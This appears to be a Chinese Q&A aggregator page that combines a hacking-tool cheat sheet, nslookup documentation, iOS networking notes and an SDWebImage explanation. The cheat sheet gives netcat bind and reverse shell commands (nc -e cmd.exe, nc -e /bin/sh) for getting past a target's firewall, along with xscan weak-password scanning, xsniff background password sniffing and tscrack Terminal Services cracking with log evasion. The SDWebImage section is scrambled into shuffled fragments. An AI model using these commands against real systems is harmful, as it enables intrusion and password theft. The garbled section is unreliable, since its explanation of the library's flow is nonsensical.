-L 監聽模式,連接天閉後仍然繼續監聽,直到CTR+C
-n IP地址,不能用域名
-o film記錄16進制的傳輸
-p[空格]埠 本地埠號
-r 隨機本地及遠程埠
-t 使用Telnet交互方式
-u UDP模式
-v 詳細輸出,用-vv將更詳細
-w數字 timeout延時間隔
-z 將輸入,輸出關掉(用於掃錨時)
基本用法:
nc -nvv 192.168.0.1 80 連接到192.168.0.1主機的80埠
nc -l -p 80 開啟本機的TCP 80埠並監聽
nc -nvv -w2 -z 192.168.0.1 80-1024 掃錨192.168.0.1的80-1024埠
nc -l -p 5354 -t -e c:winntsystem32cmd.exe 綁定remote主機的cmdshell在remote的TCP 5354埠
nc -t -e c:winntsystem32cmd.exe 192.168.0.2 5354 梆定remote主機的cmdshell並反向連接192.168.0.2的5354埠
高級用法:
nc -L -p 80 作為蜜罐用1:開啟並不停地監聽80埠,直到CTR+C為止
nc -L -p 80 > c:log.txt 作為蜜罐用2:開啟並不停地監聽80埠,直到CTR+C,同時把結果輸出到c:log.txt
nc -L -p 80 < c:honeyport.txt 作為蜜罐用3-1:開啟並不停地監聽80埠,直到CTR+C,並把c:honeyport.txt中內容送入管道中,亦可起到傳送文件作用
type.exe c:honeyport | nc -L -p 80 作為蜜罐用3-2:開啟並不停地監聽80埠,直到CTR+C,並把c:honeyport.txt中內容送入管道中,亦可起到傳送文件作用
本機上用:nc -l -p 本機埠
在對方主機上用:nc -e cmd.exe 本機IP -p 本機埠 *win2K
nc -e /bin/sh 本機IP -p 本機埠 *linux,unix 反向連接突破對方主機的防火牆
本機上用:nc -d -l -p 本機埠 < 要傳送的文件路徑及名稱
在對方主機上用:nc -vv 本機IP 本機埠 > 存放文件的路徑及名稱 傳送文件到對方主機
備 註:
| 管道命令
< 或 > 重定向命令。「<」,例如:tlntadmn < test.txt 指把test.txt的內容賦值給tlntadmn命令
@ 表示執行@後面的命令,但不會顯示出來(後台執行);例:@dir c:winnt >> d:log.txt 意思是:後台執行dir,並把結果存在d:log.txt中
>與>>的區別 ">"指:覆蓋;">>"指:保存到(添加到)。
如:@dir c:winnt >> d:log.txt和@dir c:winnt > d:log.txt二個命令分別執行二次比較看:用>>的則是把二次的結果都保存了,而用:>則只有一次的結果,是因為第二次的結果把第一次的覆蓋了。
八:
2、掃錨工具:xscan.exe
基本格式
xscan -host <起始IP>[-<終止IP>] <檢測項目> [其他選項] 掃錨"起始IP到終止IP"段的所有主機信息
xscan -file <主機列表文件名> <檢測項目> [其他選項] 掃錨"主機IP列表文件名"中的所有主機信息
檢測項目
-active 檢測主機是否存活
-os 檢測遠程操作系統類型(通過NETBIOS和SNMP協議)
-port 檢測常用服務的埠狀態
-ftp 檢測FTP弱口令
-pub 檢測FTP服務匿名用戶寫許可權
-pop3 檢測POP3-Server弱口令
-smtp 檢測SMTP-Server漏洞
-sql 檢測SQL-Server弱口令
-smb 檢測NT-Server弱口令
-iis 檢測IIS編碼/解碼漏洞
-cgi 檢測CGI漏洞
-nasl 載入Nessus攻擊腳本
-all 檢測以上所有項目
其它選項
-i 適配器編號 設置網路適配器, <適配器編號>可通過"-l"參數獲取
-l 顯示所有網路適配器
-v 顯示詳細掃描進度
-p 跳過沒有響應的主機
-o 跳過沒有檢測到開放埠的主機
-t 並發線程數量,並發主機數量 指定最大並發線程數量和並發主機數量, 默認數量為100,10
-log 文件名 指定掃描報告文件名 (後綴為:TXT或HTML格式的文件)
用法示例
xscan -host 192.168.1.1-192.168.255.255 -all -active -p 檢測192.168.1.1-192.168.255.255網段內主機的所有漏洞,跳過無響應的主機
xscan -host 192.168.1.1-192.168.255.255 -port -smb -t 150 -o 檢測192.168.1.1-192.168.255.255網段內主機的標准埠狀態,NT弱口令用戶,最大並發線程數量為150,跳過沒有檢測到開放埠的主機
xscan -file hostlist.txt -port -cgi -t 200,5 -v -o 檢測「hostlist.txt」文件中列出的所有主機的標准埠狀態,CGI漏洞,最大並發線程數量為200,同一時刻最多檢測5台主機,顯示詳細檢測進度,跳過沒有檢測到開放埠的主機
九:
3、命令行方式嗅探器: xsniff.exe
可捕獲區域網內FTP/SMTP/POP3/HTTP協議密碼
參數說明
-tcp 輸出TCP數據報
-udp 輸出UDP數據報
-icmp 輸出ICMP數據報
-pass 過濾密碼信息
-hide 後台運行
-host 解析主機名
-addr IP地址 過濾IP地址
-port 埠 過濾埠
-log 文件名 將輸出保存到文件
-asc 以ASCII形式輸出
-hex 以16進制形式輸出
用法示例
xsniff.exe -pass -hide -log pass.log 後台運行嗅探密碼並將密碼信息保存在pass.log文件中
xsniff.exe -tcp -udp -asc -addr 192.168.1.1 嗅探192.168.1.1並過濾tcp和udp信息並以ASCII格式輸出
4、終端服務密碼破解: tscrack.exe
參數說明
-h 顯示使用幫助
-v 顯示版本信息
-s 在屏幕上打出解密能力
-b 密碼錯誤時發出的聲音
-t 同是發出多個連接(多線程)
-N Prevent System Log entries on targeted server
-U 卸載移除tscrack組件
-f 使
⑤ nslookup命令都有什麼作用,如何使用,請說清楚點兒,請高手指教,在下謝謝啦
Nslookup命令詳解
Nslookup顯示可用來診斷域名系統 (DNS) 基礎結構的信息。只有在已安裝 TCP/IP 協議的情況下才可以使用 Nslookup 命令行工具。
語法
nslookup [-SubCommand ...] [{ComputerToFind| [-Server]}]
參數
-SubCommand ...
將一個或多個 nslookup 子命令指定為命令行選項。
ComputerToFind
如果未指定其它伺服器,就使用當前默認 DNS 名稱伺服器查閱 ComputerToFind 的信息。要查找不在當前 DNS 域的計算機,請在名稱上附加句點。
-Server
指定將該伺服器作為 DNS 名稱伺服器使用。如果省略了 -Server,將使用默認的 DNS 名稱伺服器。
{help|?}
顯示 nslookup 子命令的簡短總結。
注釋
如果 ComputerToFind 是 IP 地址,並且查詢類型為 A 或 PTR 資源記錄類型,則返回計算機的名稱。如果 ComputerToFind 是一個名稱,並且沒有跟蹤期,則向該名稱添加默認 DNS 域名。此行為取決於下面 set 子命令的狀態:domain、srchlist、defname 和 search。
如果鍵入連字元 (-) 代替 ComputerToFind,命令提示符更改為 nslookup 互動式模式。
命令行長度必須少於 256 個字元。
Nslookup 有兩種模式:互動式和非互動式。
如果僅需要查找一塊數據,請使用非互動式模式。對於第一個參數,鍵入要查找的計算機的名稱或 IP 地址。對於第二個參數,鍵入 DNS 名稱伺服器的名稱或 IP 地址。如果省略第二個參數,nslookup 使用默認 DNS 名稱伺服器。
如果需要查找多塊數據,可以使用互動式模式。為第一個參數鍵入連字元 (-),為第二個參數鍵入 DNS 名稱伺服器的名稱或 IP 地址。或者,省略兩個參數,則 nslookup 使用默認 DNS 名稱伺服器。下面是一些有關在互動式模式下工作的提示:
要隨時中斷互動式命令,請按 CTRL+B。
要退出,請鍵入 exit。
要將內置命令當作計算機名,請在該命令前面放置轉義字元 (\)。
將無法識別的命令解釋為計算機名。
如果查找請求失敗,nslookup 將列印錯誤消息。下表列出可能的錯誤消息。 錯誤消息 說明
Timed out 重試一定時間和一定次數之後,伺服器沒有響應請求。可以通過 set timeout 子命令設置超時期。而利用 set retry 子命令設置重試次數。
No response from server 伺服器上沒有運行 DNS 名稱伺服器。
No records 盡管計算機名有效,但是 DNS 名稱伺服器沒有計算機當前查詢類型的資源記錄。查詢類型使用 set querytype 命令指定。
Nonexistent domain 計算機或 DNS 域名不存在。
Connection refused
or
Network is unreachable
無法與 DNS 名稱伺服器或指針伺服器建立連接。該錯誤通常發生在 ls 和 finger 請求中。
Server failure DNS 名稱伺服器發現在其資料庫中內部不一致而無法返回有效應答。
Refused DNS 名稱伺服器拒絕為請求服務。
Format error DNS 名稱伺服器發現請求數據包的格式不正確。可能表明 nslookup 中存在錯誤。
範例
每個命令行選項均由連字元 (-) 後緊跟命令名組成,有時是等號 (=) 後跟一個數值。例如,要將默認的查詢類型更改為主機(計算機)信息,並將初始超時更改為 10 秒,請鍵入:
nslookup -querytype=hinfo -timeout=10
概要
Nslookup.exe 是命令行管理工具,用於測試或解決 DNS 伺服器問題。此工具是通過「控制面板」與 TCP/IP 協議一起安裝的。本文包含使用 Nslookup.exe 的若干提示。
更多信息
要使用 Nslookup.exe,請注意以下方面: • TCP/IP 協議必須安裝在運行 Nslookup.exe 的計算機上。
• 在 Microsoft TCP/IP 屬性頁的 DNS 選項卡的「DNS 服務搜索順序」欄位中必須至少指定一個 DNS 伺服器。
• Nslookup 一直從當前上下文中的名稱中抽去後綴。如果無法進行完全合格的名稱查詢(即,使用尾隨點),那麼查詢將被附加到當前上下文中。例如,當前 DNS 設置是 att.com,並且在 www.microsoft.com 中執行查詢,那麼第一個查詢將作為 www.microsoft.com.att.com 而失敗,因為查詢是不合格的。這種方式與其他供應商的 Nslookup 方式可能不一致,本文的目的在於闡明 Microsoft Windows NT Nslookup.exe 的處理方式。
• 如果已經使用 Microsoft TCP/IP 屬性頁 DNS 選項卡上定義的「域後綴搜索順序」(Domain Suffix Search Order )中的搜索列表,將不會發生抽取操作。查詢將被附加到列表中指定的域後綴中。要避免使用搜索列表,請始終使用「完全合格的域名稱」(即,在名稱中添加尾隨點)。
Nslookup.exe 可以在兩種模式下運行:互動式和非互動式。當需要返回單塊數據時,請使用非互動式模式。非交互模式的語法如下:
nslookup [-option] [hostname] [server]
要在交互模式下啟動 Nslookup.exe,只需在命令提示符下輸入 nslookup:
C:\> nslookup
Default Server: nameserver1.domain.com
Address: 10.0.0.1
>
在命令提示符下輸入 help 或 ? 將生成可用的命令列表。在命令提示符下輸入的任何內容,如果它不是有效命令,則假設它是主機名,嘗試使用默認伺服器來解析它。要中斷交互命令,請按 CTRL+C。要退出交互模式並返回到命令提示符下,並在命令提示符下輸入 exit。
以下是幫助輸出,其中包含選項的完整列表:
Commands: (identifiers are shown in uppercase, [] means optional)
NAME - print info about the host/domain NAME using default
server
NAME1 NAME2 - as above, but use NAME2 as server
help or ? - print info on common commands
set OPTION - set an option
all - print options, current server and host
[no]debug - print debugging information
[no]d2 - print exhaustive debugging information
[no]defname - append domain name to each query
[no]recurse - ask for recursive answer to query
[no]search - use domain search list
[no]vc - always use a virtual circuit
domain=NAME - set default domain name to NAME
srchlist=N1[/N2/.../N6] - set domain to N1 and search list to N1, N2,
and so on
root=NAME - set root server to NAME
retry=X - set number of retries to X
timeout=X - set initial time-out interval to X seconds
type=X - set query type (for example, A, ANY, CNAME, MX,
NS, PTR, SOA, SRV)
querytype=X - same as type
class=X - set query class (for example, IN (Internet), ANY)
[no]msxfr - use MS fast zone transfer
ixfrver=X - current version to use in IXFR transfer request
server NAME - set default server to NAME, using current default server
lserver NAME - set default server to NAME, using initial server
finger [USER] - finger the optional NAME at the current default host
root - set current default server to the root
ls [opt] DOMAIN [> FILE] - list addresses in DOMAIN (optional: output to
FILE)
-a - list canonical names and aliases
-d - list all records
-t TYPE - list records of the given type (for example, A, CNAME,
MX, NS, PTR, and so on)
view FILE - sort an 'ls' output file and view it with pg
exit - exit the program
通過在命令提示符下運行 set 命令,可以在 Nslookup.exe 中設置許多不同的選項。要得到這些選項的完整列表,只需輸入 set all。請參見以上內容,在 set 命令下,得到可用選項的列印輸出。
查找不同的數據類型
要在域名空間中查找不同的數據類型,請在命令提示符下使用 set type 或 set q[uerytype] 命令。例如,要查詢郵件交換器數據,請輸入:
C:\> nslookup
Default Server: ns1.domain.com
Address: 10.0.0.1
> set q=mx
> mailhost
Server: ns1.domain.com
Address: 10.0.0.1
mailhost.domain.com MX preference = 0, mail exchanger =
mailhost.domain.com
mailhost.domain.com internet address = 10.0.0.5
>
第一次查詢是查找遠程名稱,答案是權威的,但隨後的查詢是非權威的。第一次查詢遠程主機時,本地 DNS 伺服器與作為該域權威的 DNS 伺服器取得聯系。然後,本地 DNS 伺服器緩存該信息,以便從本地伺服器緩存中非權威地回答隨後的查詢。
直接從另一個名稱伺服器中進行查詢
要直接查詢另一個名稱伺服器,請使用 server 或 lserver 命令切換到該名稱伺服器。lserver 命令使用本地伺服器得到要切換的伺服器地址,而 server 命令使用當前默認伺服器得到該地址。
例如:
C:\> nslookup
Default Server: nameserver1.domain.com
Address: 10.0.0.1
> server 10.0.0.2
Default Server: nameserver2.domain.com
Address: 10.0.0.2
>
使用 Nslookup.exe 轉移整個區域
使用 ls 命令,Nslookup 可以用於轉移整個區域。查看遠程域中的所有主機,這是有用的。ls 命令的語法如下:
ls [- a | d | t type] domain [> filename]
不帶參數使用 ls 命令將返回所有地址和名稱伺服器數據的列表。-a 參數將返回別名和正式名稱,-d 將返回所有數據,而 -t 將按類型進行篩選。
例如:
>ls domain.com
[nameserver1.domain.com]
nameserver1.domain.com. NS server = ns1.domain.com
nameserver2.domain.com NS server = ns2.domain.com
nameserver1 A 10.0.0.1
nameserver2 A 10.0.0.2
>
在 DNS 伺服器中可以按塊轉移區域,以便只有授權的地址和網路才可以執行此操作。如果設置了區域安全,將返回以下錯誤消息:
*** Can't list domain example.com .: Query refused
Nslookup.exe 的疑難解答
默認伺服器超時
當啟動 Nslookup.exe 工具時,以下錯誤可能出現:
*** Can't find server name for address w.x.y.z : Timed out
備註: w.x.y.z 是在「DNS 服務搜索順序」列表中列出的第一個 DNS 伺服器。
*** Can't find server name for address 127.0.0.1: Timed out
第一個錯誤指出不能連接 DNS 伺服器,或者該計算機上的服務沒有運行。要解決此問題,啟動該伺服器上的 DNS 服務,或檢查可能存在的連接問題。
第二個錯誤指出在「DNS 服務搜索順序」列表中還沒有定義伺服器。要解決此問題,請將有效 DNS 伺服器的 IP 地址添加到此列表中。
啟動 Nslookup.exe 時找不到伺服器名
啟動 Nslookup.exe 工具時,可能出現以下錯誤:
*** Can't find server name for address w.x.y.z: Non-existent domain
當沒有名稱伺服器 IP 地址的 PTR 記錄時,會出現此錯誤。當 Nslookup.exe 啟動時,它執行反向搜索,以得到默認伺服器的名稱。如果沒有 PTR 數據,則返回此錯誤消息。要解決此問題,請確保反向搜索區域存在,並包含名稱伺服器的 PTR 記錄。
Nslookup 在子域上無法執行
當在子域上執行查詢或進行區域轉移時,Nslookup 可能返回以下錯誤:
*** ns.domain.com can't find child.domain.com.: Non-existent domain
*** Can't list domain child.domain.com.: Non-existent domain
在 DNS Manager 中,可以在主區域下添加一個新域,這樣就創建了一個子域。用這種方法創建子域並不為該域創建一個單獨的 db 文件,這樣在該域進行查詢或在該域進行區域轉移時將會產生以上錯誤。在父域上進行區域轉移時將同時列出父域數據和子域數據。要解決此問題,請在 DNS 伺服器上為該子域創建一個新主域。
以下轉自沸騰年代。
Nslookup 是一個監測網路中DNS伺服器是否能正確實現域名解析的命令行工具。它在 Windows NT/2000/XP 中均可使用,但在Windows 98中卻沒有集成這一個工具。
Nslookup 必須要安裝了TCP/IP 協議的網路環境之後才能使用。
現在網路中已經架設好了一台 DNS 伺服器,主機名稱為 linlin ,它可以把域名 www.feitium.net 解析為 192.168.0.1 的IP地址,這是我們平時用得比較多的正向解析功能。
檢測步驟如下:
在 Windows 2000 中單擊「開始」->「程序」->「附件」->「命令提示符」,在 C:\> 的後面鍵入 Nslookup www.feitium.net ,「回車」之後即可看到如下結果:
Server: linlin
Address: 192.168.0.5
Name: www.feitium.net
Address: 192.168.0.1
以上結果顯示,正在工作的 DNS 伺服器的主機名為 linlin ,它的 IP 地址是192.168.0.5 ,而域名www.feitium.net 所對應的 IP 地址為 192.168.0.1 。那麼,在檢測到 DNS 伺服器 linlin 已經能順利實現正向解析的情況下,它的反向解析是否正常呢? 也就是說,能否把IP地址192.168.0.1反向解析為域名www.feitium.net ?我們在命令提示符C:\>的後面鍵入 Nslookup 192.168.0.1 ,得到結果如下:
Server: linlin
Address: 192.168.0.5
Name: www.feitium.net
Address: 192.168.0.1
這說明,DNS 伺服器 linlin 的反向解析功能也正常。
然而,有的時候,我們鍵入Nslookup www.feitium.net ,卻出現如下結果:
Server: linlin
Address: 192.168.0.5
*** linlin can't find www.feitium.net: Non-existent domain
這種情況說明網路中DNS伺服器 linlin 在工作,卻不能實現域名 www.feitium.net的正確解析。此時,要分析DNS伺服器的配置情況,看是否 www.feitium.net 這一條域名對應的 IP 地址記錄已經添加到了DNS的資料庫中。
還有的時候,我們鍵入Nslookup www.feitium.net ,會出現如下結果:
*** Can't find server name for domain: No response from server
*** Can't find www.feitium.net : Non-existent domain
這時,說明測試主機在目前的網路中,根本沒有找到可以使用的 DNS 伺服器。此時,我們要對整個網路的連通性作全面的檢測,並檢查DNS伺服器是否處於正常工作狀態,採用逐步排錯的方法,找出 DNS 服務不能啟動的根源。
⑥ nsurlsession怎麼添加多任務
NSURLSession提供的功能:
1.通過URL將數據下載到內存
2.通過URL將數據下載到文件系統
3.將數據上傳到指定URL
4.在後台完成上述功能
工作流程
如果我們需要利用NSURLSession進行數據傳輸我們需要:
1.創建一個NSURLSessionConfiguration,用於第二步創建NSSession時設置工作模式和網路設置:
工作模式分為:
一般模式(default):工作模式類似於原來的NSURLConnection,可以使用緩存的Cache,Cookie,鑒權。
及時模式(ephemeral):不使用緩存的Cache,Cookie,鑒權。
後台模式(background):在後台完成上傳下載,創建Configuration對象的時候需要給一個NSString的ID用於追蹤完成工作的Session是哪一個(後面會講到)。
網路設置:參考NSURLConnection中的設置項。
1. 創建一個NSURLSession,系統提供了兩個創建方法:
sessionWithConfiguration:
sessionWithConfiguration:delegate:delegateQueue:
第一個粒度較低就是根據剛才創建的Configuration創建一個Session,系統默認創建一個新的OperationQueue處理Session的消息。
第二個粒度比較高,可以設定回調的delegate(注意這個回調delegate會被強引用),並且可以設定delegate在哪個OperationQueue回調,如果我們將其設置為[NSOperationQueue mainQueue]就能在主線程進行回調非常的方便。
2.創建一個NSURLRequest調用剛才的NSURLSession對象提供的Task函數,創建一個NSURLSessionTask。
根據職能不同Task有三種子類:
NSURLSessionUploadTask:上傳用的Task,傳完以後不會再下載返回結果;
NSURLSessionDownloadTask:下載用的Task;
NSURLSessionDataTask:可以上傳內容,上傳完成後再進行下載。
得到的Task,調用resume開始工作。
⑦ nscache 和 nsurlcache 的區別
NSCache
(1)可以存儲(當然是使用內存)
(2)保持強應用, 無視垃圾回收. =>這一點同 NSMutableDictionary
(3)有固定客戶.
+---------------------------+------------------------------+
| NSCache | NSMutableDictionary |
+---------------------------+------------------------------+
| NSDiscardableContent | NSObject |
+---------------------------+------------------------------+
下面是 UIImageView+AFNetworking的使用:
@interface AFImageCache :NSCache
- (UIImage *)cachedImageForRequest:(NSURLRequest *)request;
- (void)cacheImage:(UIImage *)image
forRequest:(NSURLRequest *)request;
@end
NSURLCache
iOS5 之前是不能通過NSURLCache使用硬碟緩存的,所以有SDURLCache這樣的library來實現硬碟緩存. iOS5可以使用NSURLCache的硬碟緩存, 只要符合http-cache-control-header即可.
這里有詳細的說明:here
這也就是說不用做任何操作, 系統將自動完成滿足緩存條件的request.
映射關系:
+---------------------------+---------------------------------+
| NSURLRequest ----|----> NSCachedURLResponse |
+---------------------------+---------------------------------+
通過這樣的映射關系實現緩存. 這里存的是NSCachedURLResponse. 也就是說這里的NSURLCache也是一個類似於NSCache的容器.
只不過data是NSCachedURLResponse對象. 並不是類似於image這樣的data.
這篇文章可以的:
NSURLCache使用心得here
我測試了一下UIImage->NSData->URL,NSURLConnection, UIWebView不同時候調用
- (NSCachedURLResponse *)cachedResponseForRequest:(NSURLRequest *)request;
-(void)storeCachedResponse:(NSCachedURLResponse *)cachedResponse forRequest:(NSURLRequest *)request;
的情況:
+-------------+---------------------+----------------------+------------------+
| | UIImage->URL | NSURLConnection | UIWebView |
+---------+---+---------------------+----------------------+------------------+
| | c | X | first called | first called |
|1』s time |---+---------------------+----------------------+------------------+
| | s | first called | second called | second called |
+---------+---+---------------------+----------------------+------------------+
| | c | X | first called | first called |
|2』s time +---+---------------------+----------------------+------------------+
| | s | first called | X | X |
+---------+---+---------------------+----------------------+------------------+
注:
c 表示 cachedResponseForRequest
s 表示 storeCachedResponse
X 表示不被調用
結果顯示: UIImage->URL 是同步的請求. 因為cachedResponseForRequest不能發起同步請求來請求網路.
⑧ 如何立即cancel當前正在運行的NSOperation
寫文件到硬碟 也在以單獨 NSInvocationOperation 完成。
獨立的非同步圖像下載
可能會單獨用到非同步圖片下載:didFindImage。具有緩存管理:didReceiveData:userInfo,
剔除時間大於一周的圖片文件. 在主線程 ,要使用storeImage. 根據 URLKey在硬碟緩存目錄下嘗試讀取圖片文件: forKey。
這裡面最常用的一個方法;
默認情況下,回調給需要的地方展示圖片。
主要用到的對象?
SDImageCache分兩個部分,根據URL的MD5
摘要對圖片進行存儲和讀取(實現存在內存中或者存在硬碟上兩種實現)
實現圖片和內存清理工作。
4,然後 SDWebImageManager 根據 URL 開始處理圖片,
在內存警告或退到後台的時 候清理內存圖片緩存:
宣告解碼完成。
內存層面的相當是個緩存器: 到
SDWebImageManager。
8。
15:
1,載入網路的圖片。
實現SDImageCache和SDWebImageDownloader的回調、SDImageCache:myCacheKey]。
UIImage *myCachedImage = [[SDImageCache sharedImageCache] imageFromKey、同一個URL下載次數控制和優化等特徵;
}
}
這個方法最大的好處就是。
SDWebImage 支持非同步的圖片下載+緩存:didFinishWithImage。
12、UIImageView (WebCache)類別:myCacheKey]. 圖片解碼處理在一個 NSOperationQueue完成。
當SDWebImageManager向SDImageCache
要資源時;/。
downloader = [SDWebImageDownloader downloaderWithURL。
14:placeholderImage;
存儲一個圖像到緩存是使用方法storeImage,以Key-Value
的形式存儲圖片;
這樣SDWebImageDownloaderDelegate
協議的方法 imageDownloader,避免拖慢主線程。
19:. 將圖片保存到 SDImageCache
中:options:userInfo。
用搜索文件系統的方式做管理、SDWebImageDownloader,實現相關 delegate
來判斷圖片下載中.image = placeholder。
6, 回調 imageCache。如果有需要 對下載的圖片進行二次處理,一個是內存層面的::didFinishWithImage,如果有直接返回:。這一步是在 NSOperation
進 行的操作,所以回主線程進行結果回調 notifyDelegate:
[[SDImageCache sharedImageCache] storeImage:userInfo:
來建立一個SDWebImageDownloader實例: 到 UIImageView+WebCache等前端展示圖片。
11,實現讀取圖片完成後的回調
2:userInfo. 如果上一操作從硬碟讀取到了圖片. connection. 圖片下載由 NSURLConnection來做,對圖片進行管理的中轉站;
/,最好也在這里完成,一個是硬碟層面的,然後做Decoder
. connectionDidFinishLoading、非同步下載:self]。
13:
1:
這個庫最常用到的. 進入 SDWebImageManager-downloadWithURL,方便 使用:delegate。
向下層讀取Cache(調用SDImageCache
):,根據URL
向網路讀取數據(實現部分讀取和全部讀取後再通知回調兩種方式)
SDImageCache是怎麼做數據管理的;
self:self],說明所有緩存都不存在該圖片,提供了 UIImageView+WebCacha 的
category. 如果從硬碟緩存目錄讀取不到圖片,則一定要用downloaderWithURL,或者向網路讀取對象(調用SDWebImageDownloader),方便後續使用
管理類的使用位置,內存緩存和硬碟緩存同時保存. SDWI 也提供了 UIButton+WebCache 和 MKAnnotationView+WebCache
:(NSURL *)url placeholderImage:myImage forKey,如果內存中已經有圖片緩存:
通過對UIImageView的類別擴展來實現非同步載入替換圖片的工作:didNotFindImageForKey。
3. SDWebImageManagerDelegate 回調
webImageManager:來尋找當前緩存. SDImageCache 在初始化的時候會注冊一些消息通知、下 載完成和下載失敗。
9:url delegate。如果僅僅是想內存緩存中:didFindImage、SDWebImageManager,應用結束的時候清理過期圖片: 回調給 SDWebImageManager
告知圖片 下載完成,交給
SDImageCache 從緩存查找圖片是否已經下載
queryDiskCacheForKey:options,生成 NSInvocationOperation
添加到隊列開始從硬碟查找圖 片是否已經緩存:forKey。
10:
- (void)setImageWithURL:方法的第三個參數帶一負值
來替代。
16. SDWebImagePrefetcher 可以預先下載圖片,效率會好很多,文件替換方式是以時間為單位. 共享或重新生成一個下載器 SDWebImageDownloader 開始下載圖片:delegate:didFinishDecodingImage,可以不需要改變UI的類, 會先清空內存緩存)。
SDWebImage庫的作用:被調用時下載會立即開始並完成: 中利用 ImageIO做了按圖片下載進度載入效果: 會先把 placeholderImage
顯 示.
先從內存圖片緩存查找是否有圖片。
5:userInfo:,就是根據URL,是UIImageView的一個Category:toDisk。SDWebImage載入圖片的流程。SDImageCacheDelegate回調
imageCache,將圖片添加到內存緩存中
(如果空閑內存過小; Remove in progress downloader from queue
[manager cancelForDelegate,不會拖慢主線程 UI
:userInfo:url delegate:(UIImage*)placeholder
{
SDWebImageManager *manager = [],圖像將被存儲在內存緩存和磁碟緩存中,方便使用.
3;
if (url)
{
[manager downloadWithURL。進而回調展示圖片. 入口 setImageWithURL,先搜索內存層面的數據,並用方法imageForKey,將圖片從磁碟讀取出來。
20。
17:forKey. imageDownloader:self]。
4:delegate。
18,入口封裝, imageDecoder:
UIImageView (WebCache)。
7。它的實現如下,記錄那些圖片正在讀取,沒有的話去訪問磁碟, SDImageCacheDelegate回調 imageCache,將圖片對象放到內存層面做備份,
需要下載圖片。
2。
獨立的非同步圖像緩存
SDImageCache類提供一個創建空緩存的實例: 回調給
SDWebImageDownloader:didFinishWithImage:forKey,直接添加網路下載功能. 通知所有的 downloadDelegates下載完成SDWebImage
這個類庫提供一個UIImageView
類別以支持載入來自網路的遠程圖片。當內存不夠的時候會清除所有緩存圖片: 數據下載完成後交給 SDWebImageDecoder
做圖 片解碼處理. 如果內存緩存中沒有